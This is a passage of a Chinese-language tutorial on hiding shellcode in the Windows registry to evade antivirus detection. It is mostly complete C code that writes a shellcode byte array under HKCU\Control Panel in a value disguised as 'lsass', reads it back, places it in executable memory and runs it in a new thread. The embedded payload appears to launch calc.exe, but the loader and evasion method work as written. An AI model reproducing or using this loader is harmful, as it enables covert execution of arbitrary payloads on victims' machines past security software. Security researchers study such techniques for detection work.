HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, 0);
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 关闭线程句柄
CloseHandle(hThread);

// 确保释放分配的内存
if (pPayload != NULL) {
LocalFree(pPayload);
}
}
else {
// 获取数据失败信息
printf("Failed to retrieve payload.\n");
}

// 程序结束
return 0;
}

写入注册表规避

我们可以将有效载荷写⼊注册表项值,然后在需要时从注册表中获取.此方法也会导致杀毒软件无法检测或找到其中的任何有效载荷.

条件编译

条件编译是一种将代码包含在项目内的方法,编译器可以编译或不编译该代码

写操作
1
2
3
4
5
6
7
8
9
10
11
#define WRITEMODE
// 将在两种情况下都编译的代码
// 如果定义了 'WRITEMODE'
#ifdef WRITEMODE
// 将编译的代码
// 将有效负载写⼊注册表所需的代码
#endif
// 如果定义了 'READMODE'
#ifdef READMODE
// 将不会编译的代码
#endif
读操作
1
2
3
4
5
6
7
8
9
10
11
#define READMODE
// 将在两种情况下都编译的代码
// 如果定义了 'READMODE'
#ifdef READMODE
// 将编译的代码
// 从注册表读取有效负载所需的代码
#endif
// 如果定义了 'WRITEMODE'
#ifdef WRITEMODE
// 将不会编译的代码
#endif

写入注册表

  1. RegOpenKeyExA 打开注册表项并获得句柄.
    • HKEY hKey: 要打开的注册表项的句柄
    • LPCSTR lpSubKey: 要打开的子项的名称。
    • DWORD ulOptions: 保留,通常为 0。
    • REGSAM samDesired: 指定所需的访问权限。
    • PHKEY phkResult: 指向接收打开的注册表项句柄的变量的指针。
  2. RegSetValueExA设置注册表项下指定值的数据和类型
    • HKEY hKey:要设置的注册表项的句柄。
    • lpValueName: 要设置值的名称,如果键中尚不存在具有此名称的值,则函数会将其添加到键中。
    • Reserved: 此参数是保留的,必须为零.
    • dwType: lpData参数指向的数据类型
    • lpData: 要存储的数据
    • cbData: lpData参数指向的信息的大小(以字节为单位),如果数据的类型为 REG_SZ,REG_EXPAND_SZREG_MULTI_SZ, 则 cbData必须包含终止 null 字符的大小。
  3. RegCloseKey 用于关闭打开的注册表项句柄。
    • HKEY hKey: 要关闭的注册表项的句柄。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <Windows.h>  // 导入Windows API头文件,用于调用Windows系统函数
#include <stdio.h> // 导入标准输入输出头文件,用于使用printf等函数

// 定义了一个REGISTRY宏,值为"Control Panel"。
// "Control Panel" 在Windows注册表中表示控制面板的路径。
#define REGISTRY "Control Panel"

// 定义了一个REGSTRING宏,值为"lsass"。
// "lsass" 是自定义注册表项名称,它将在 "Control Panel" 键下创建或修改。
#define REGSTRING "lsass"

BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {
BOOL bSTATE = TRUE; // 初始化返回状态变量为TRUE
LSTATUS STATUS = NULL; // 初始化LSTATUS类型的状态变量
HKEY hKey = NULL; // 初始化HKEY类型的注册表键句柄

// 打印正在写入的信息,包括shellcode地址、大小以及目标注册表路径
printf("[i] Writing 0x%p [ Size: %ld ] to \"%s\\%s\" ... ", pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);

// 尝试打开注册表键,如果不存在则创建
STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
if (ERROR_SUCCESS != STATUS) { // 如果打开失败
printf("[!] RegOpenKeyExA Failed With Error : %d\n", STATUS); // 输出错误信息
bSTATE = FALSE; // 设置状态为FALSE
goto _EndOfFunction; // 跳转到函数结束标签
}

// 将shellcode写入注册表项
STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
if (ERROR_SUCCESS != STATUS) { // 如果写入失败
printf("[!] RegSetValueExA Failed With Error : %d\n", STATUS); // 输出错误信息
bSTATE = FALSE; // 设置状态为FALSE
goto _EndOfFunction; // 跳转到函数结束标签
}

// 写入成功,打印成功信息
printf("[+] DONE ! \n");

_EndOfFunction: // 函数结束标签
if (hKey) // 如果注册表键句柄有效
RegCloseKey(hKey); // 关闭注册表键

return bSTATE; // 返回状态
}

int main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

WriteShellcodeToRegistry(buf, sizeof(buf));
return 0
}

读取注册表

RegGetValueA 从注册表中检索值。

  • HKEY hKey: 包含要检索值的注册表项的句柄。
  • LPCSTR lpSubKey: 要打开的子项的名称。
  • LPCSTR lpValue: 要检索的值的名称。
  • DWORD dwFlags: 指定如何检索信息。可使⽤RRF_RT_ANY,表示任何数据类型。或者RRF_RT_REG_BINARY表示⼆进制数据类型。
  • LPDWORD pdwType: 指向接收值类型的变量的指针。
  • PVOID pvData: 指向接收数据的缓冲区的指针。
  • LPDWORD pcbData: 指向接收数据大小的变量的指针。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <Windows.h>  // 导入Windows API头文件,用于调用Windows系统函数
#include <stdio.h> // 导入标准输入输出头文件,用于使用printf等函数

// 定义了一个REGISTRY宏,值为"Control Panel"。
// "Control Panel" 在Windows注册表中表示控制面板的路径。
#define REGISTRY "Control Panel"

// 定义了一个REGSTRING宏,值为"lsass"。
// "lsass" 是自定义注册表项名称,它将在 "Control Panel" 键下创建或修改。
#define REGSTRING "lsass"

BOOL ReadShellcodeFromRegistry(IN DWORD sPayloadSize, OUT PBYTE* ppPayload) {
LSTATUS STATUS = NULL; // 初始化LSTATUS类型的状态变量
DWORD dwBytesRead = sPayloadSize; // 初始化要读取的字节数
PVOID pBytes = NULL; // 初始化指向读取缓冲区的指针

// 分配内存来存储读取的数据
pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);
if (pBytes == NULL) { // 如果内存分配失败
printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError()); // 输出错误信息
return FALSE; // 返回FALSE表示失败
}

// 从注册表中读取数据
STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);
if (ERROR_SUCCESS != STATUS) { // 如果读取失败
printf("[!] RegGetValueA Failed With Error : %d\n", STATUS); // 输出错误信息
HeapFree(GetProcessHeap(), 0, pBytes); // 释放分配的内存
return FALSE; // 返回FALSE表示失败
}

// 检查读取的字节数是否与预期的字节数相同
if (sPayloadSize != dwBytesRead) {
printf("[!] Total Bytes Read : %d ; Instead Of Reading : %d\n", dwBytesRead, sPayloadSize); // 输出错误信息
HeapFree(GetProcessHeap(), 0, pBytes); // 释放分配的内存
return FALSE; // 返回FALSE表示失败
}

// 将读取的缓冲区指针赋值给输出参数
*ppPayload = static_cast<PBYTE>(pBytes);

return TRUE; // 返回TRUE表示成功
}

执行载荷

⼀旦从注册表中读取有效载荷并将其存储在分配的缓冲区中,该RunShellcode函数就会⽤于执⾏有效载荷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOOL RunShellcode(IN PVOID buf, IN SIZE_T bufSize) {
// 分配内存
LPVOID Memory = VirtualAlloc(NULL, bufSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) {
return 0;
}
memcpy(Memory, buf, bufSize);
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Memory, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
// 关闭线程
CloseHandle(hThread);
return TRUE; // 返回TRUE表示成功
}

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#include <Windows.h>
#include <stdio.h>

// 定义了一个REGISTRY宏,值为"Control Panel"。
// "Control Panel" 在Windows注册表中表示控制面板的路径。
#define REGISTRY "Control Panel"
// 定义了一个REGSTRING宏,值为"lsass"。
// "lsass" 是自定义注册表项名称,它将在 "Control Panel" 键下创建或修改。
#define REGSTRING "lsass"

BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {
BOOL bSTATE = TRUE;
LSTATUS STATUS = NULL;
HKEY hKey = NULL;
printf("[i] Writing 0x%p [ Size: %ld ] to \"%s\\%s\" ... ", pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);
STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
if (ERROR_SUCCESS != STATUS) {
printf("[!] RegOpenKeyExA Failed With Error : %d\n", STATUS);
bSTATE = FALSE; goto _EndOfFunction;
}
STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
if (ERROR_SUCCESS != STATUS) {
printf("[!] RegSetValueExA Failed With Error : %d\n", STATUS);
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[+] DONE ! \n");
_EndOfFunction:
if (hKey)
RegCloseKey(hKey);
return bSTATE;
}


BOOL ReadShellcodeFromRegistry(IN DWORD sPayloadSize, OUT PBYTE* ppPayload) {
LSTATUS STATUS = NULL; // 初始化LSTATUS类型的状态变量
DWORD dwBytesRead = sPayloadSize; // 初始化要读取的字节数
PVOID pBytes = NULL; // 初始化指向读取缓冲区的指针

// 分配内存来存储读取的数据
pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);
if (pBytes == NULL) { // 如果内存分配失败
printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError()); // 输出错误信息
return FALSE; // 返回FALSE表示失败
}

// 从注册表中读取数据
STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);
if (ERROR_SUCCESS != STATUS) { // 如果读取失败
printf("[!] RegGetValueA Failed With Error : %d\n", STATUS); // 输出错误信息
HeapFree(GetProcessHeap(), 0, pBytes); // 释放分配的内存
return FALSE; // 返回FALSE表示失败
}

// 检查读取的字节数是否与预期的字节数相同
if (sPayloadSize != dwBytesRead) {
printf("[!] Total Bytes Read : %d ; Instead Of Reading : %d\n", dwBytesRead, sPayloadSize); // 输出错误信息
HeapFree(GetProcessHeap(), 0, pBytes); // 释放分配的内存
return FALSE; // 返回FALSE表示失败
}

// 将读取的缓冲区指针赋值给输出参数
*ppPayload = static_cast<PBYTE>(pBytes);

return TRUE; // 返回TRUE表示成功
}


BOOL RunShellcode(IN PVOID buf, IN SIZE_T bufSize) {
// 分配内存
LPVOID Memory = VirtualAlloc(NULL, bufSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) {
return 0;
}
memcpy(Memory, buf, bufSize);
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Memory, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
// 关闭线程
CloseHandle(hThread);
return TRUE; // 返回TRUE表示成功
}

int main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

// 写入shellcode到注册表
if (!WriteShellcodeToRegistry(buf, sizeof(buf))) {
printf("[!] Failed to write shellcode to registry.\n");
return 1;
}

// 从注册表中读取shellcode
PBYTE pPayload = NULL;
DWORD payloadSize = sizeof(buf);
if (!ReadShellcodeFromRegistry(payloadSize, &pPayload)) {
printf("[!] Failed to read shellcode from registry.\n");
return 1;
}

// 运行读取到的shellcode
if (!RunShellcode(pPayload, payloadSize)) {
printf("[!] Failed to run shellcode.\n");
return 1;
}

// 释放分配的内存
HeapFree(GetProcessHeap(), 0, pPayload);

return 0;
}